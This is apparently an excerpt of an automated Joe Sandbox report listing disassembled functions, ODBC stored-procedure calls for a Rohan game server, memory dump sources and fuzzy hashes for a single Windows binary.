                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [Rohangame_pLucky_InsNumUser] (?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-3440343539
                                                                                                                            • Opcode ID: 07fb80739640b1ae9d618b36edaec905bfaf5d25929996c9942a56ec551ddedb
                                                                                                                            • Instruction ID: 85f783b03a47a85904e1ad61167694cc9cd484bc16a110526d1e065af64e8952
                                                                                                                            • Opcode Fuzzy Hash: 07fb80739640b1ae9d618b36edaec905bfaf5d25929996c9942a56ec551ddedb
                                                                                                                            • Instruction Fuzzy Hash: 034110F46482157BEB348B64CC52FEA7374EB84B14F108389F6256E6C1D5B27F408B58
                                                                                                                            Function 004358B0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_GetItemMallPaging](?,?,?,?)},000000FD), ref: 004358D0
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0043590F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00435944
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0043597C
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 004359B4
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F1,00000005,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 004359EC
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_GetItemMallPaging](?,?,?,?)}, xrefs: 004358C7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_GetItemMallPaging](?,?,?,?)}
                                                                                                                            • API String ID: 0-651572280
                                                                                                                            • Opcode ID: 0a8f35caf1c0ff5d4a98635334b4e16910803f1db58ed6631bfcc3fd7fb14814
                                                                                                                            • Instruction ID: 1c72afaf01ec349dbdd55d10c45c7eef017cf294a5a71be15835eb9bf9cb367e
                                                                                                                            • Opcode Fuzzy Hash: 0a8f35caf1c0ff5d4a98635334b4e16910803f1db58ed6631bfcc3fd7fb14814
                                                                                                                            • Instruction Fuzzy Hash: 6E4112B5A44215BBFB20DB54CD52FAA7374EB84B1CF208288F71C6E2C5D7B16D418B58
                                                                                                                            Function 0042F8B6 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_PkRecall] (?, ?, ?, ?)},000000FD), ref: 0042F8D6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 0042F915
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0042F94A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042F982
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 0042F9BA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000FA,000000FA,00000000), ref: 0042F9F2
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_PkRecall] (?, ?, ?, ?)}, xrefs: 0042F8CD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_PkRecall] (?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-371763479
                                                                                                                            • Opcode ID: 11a46b2eef8c85e2405c5aee4ffdc3d6bfe32bcd15671aa02515b7213cc3d525
                                                                                                                            • Instruction ID: ee227317ed65b24677507f655dedebe852934ccbe64cae242794dfb8dadcc788
                                                                                                                            • Opcode Fuzzy Hash: 11a46b2eef8c85e2405c5aee4ffdc3d6bfe32bcd15671aa02515b7213cc3d525
                                                                                                                            • Instruction Fuzzy Hash: 604139B46452147FEB64CB44CC52F957339EBC5B28F204288F71D6F6C0D9B26D908B58
                                                                                                                            Function 00440963 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN2_SaveConquerorLevel] (?, ?, ?, ?)},000000FD), ref: 00440983
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 004409C2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 004409F7
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00440A2F
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00440A67
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00440A9F
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN2_SaveConquerorLevel] (?, ?, ?, ?)}, xrefs: 0044097A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN2_SaveConquerorLevel] (?, ?, ?, ?)}
                                                                                                                            • API String ID: 0-2421593798
                                                                                                                            • Opcode ID: ad86b2487ebf2b64068ad3c714852e9fbfd4c26b91f1afdd117f5272a53004d8
                                                                                                                            • Instruction ID: 2b3ea50b07fb020980b91e62922501852f3a47af161d7a2001f1eff741325196
                                                                                                                            • Opcode Fuzzy Hash: ad86b2487ebf2b64068ad3c714852e9fbfd4c26b91f1afdd117f5272a53004d8
                                                                                                                            • Instruction Fuzzy Hash: E84133B46812157BEB249B55CC42FED7374EB84B18F108288F718AE2C5D5B16D608F98
                                                                                                                            Function 00440AA9 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 103COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{? = CALL [ROHAN_GetCostumeBank] (?,?,?,?)},000000FD), ref: 00440AC9
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00440B08
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00440B3D
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00440B75
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000FA,000000FA,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00440BAD
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000FA,000000FA,00000000), ref: 00440BE5
                                                                                                                            Strings
                                                                                                                            • {? = CALL [ROHAN_GetCostumeBank] (?,?,?,?)}, xrefs: 00440AC0
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: {? = CALL [ROHAN_GetCostumeBank] (?,?,?,?)}
                                                                                                                            • API String ID: 0-1545703041
                                                                                                                            • Opcode ID: f6f719d730ec1c790280f8c6a1fc41dda855bf95f3ce6e54d0d3d7b90a2d799c
                                                                                                                            • Instruction ID: 05aae0c90010e99a1b051eb5d59b2375066faeaa8e9e2edaa5d05fc8e3011e35
                                                                                                                            • Opcode Fuzzy Hash: f6f719d730ec1c790280f8c6a1fc41dda855bf95f3ce6e54d0d3d7b90a2d799c
                                                                                                                            • Instruction Fuzzy Hash: 344112B4644214BBEB24DB45DC52FEA7375EB84B18F2083C8F714AE2D5C5B16DA08B5C
                                                                                                                            Function 004386D2 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_ItemControlLog] (?,?,?,?)},000000FD), ref: 004386E6
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00438728
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 00438760
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00438798
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004387D0
                                                                                                                            • #72.ODBC32(?,00000000,00000001,0000005D,0000005D,00000013,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00438808
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_ItemControlLog] (?,?,?,?)}, xrefs: 004386DD
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632938727.00000000004EF000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632996994.0000000000501000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633016224.0000000000508000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633084425.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000538000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000552000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.000000000055E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000568000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.0000000000572000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633142092.00000000005B0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633326996.00000000005B1000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005B5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.00000000005F0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000607000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633390630.0000000000611000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633569077.0000000000619000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633602270.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633663927.000000000066F000.00000080.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1633715505.0000000000671000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_0_2_400000_pPLwX9wSrD.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID:
                                                                                                                            • String ID: { ? = CALL [ROHAN_ItemControlLog] (?,?,?,?)}
                                                                                                                            • API String ID: 0-2043687416
                                                                                                                            • Opcode ID: 5f9d4a61da287589500595c26c8665d90c37e947048119e2d6406218a44b86fd
                                                                                                                            • Instruction ID: df0c20a9ae21da0215c7b70761ebdb298ae0eada5d50c09b03538091328de8f0
                                                                                                                            • Opcode Fuzzy Hash: 5f9d4a61da287589500595c26c8665d90c37e947048119e2d6406218a44b86fd
                                                                                                                            • Instruction Fuzzy Hash: 5B3110B0681214FBEB249B84CC52FA97334EF80B18F10458AF7186E2C5D5B57E80CB69
                                                                                                                            Function 004391FF Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 101COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • #19.ODBC32(?,{ ? = CALL [ROHAN_MOVECharResult] (?,?,?,?) },000000FD), ref: 00439213
                                                                                                                            • #72.ODBC32(?,00000000,00000004,000000F0,00000004,00000000,00000000,?,00000000,00000000), ref: 00439255
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000004,000000F0,00000004,00000000), ref: 0043928A
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004392C2
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 004392FA
                                                                                                                            • #72.ODBC32(?,00000000,00000001,000000F0,00000004,00000000,00000000,?,00000000,00000000,?,00000000,00000001,000000F0,00000004,00000000), ref: 00439332
                                                                                                                            Strings
                                                                                                                            • { ? = CALL [ROHAN_MOVECharResult] (?,?,?,?) }, xrefs: 0043920A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 00000000.00000002.1632538419.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            • Associated: 00000000.00000002.1632519007.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632686913.00000000004C1000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632762125.00000000004E3000.00000008.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632861330.00000000004E4000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                            • Associated: 00000000.00000002.1632915908.00000000004E5000.00000008.00000001.01000000.00000003.sdmpDownload File
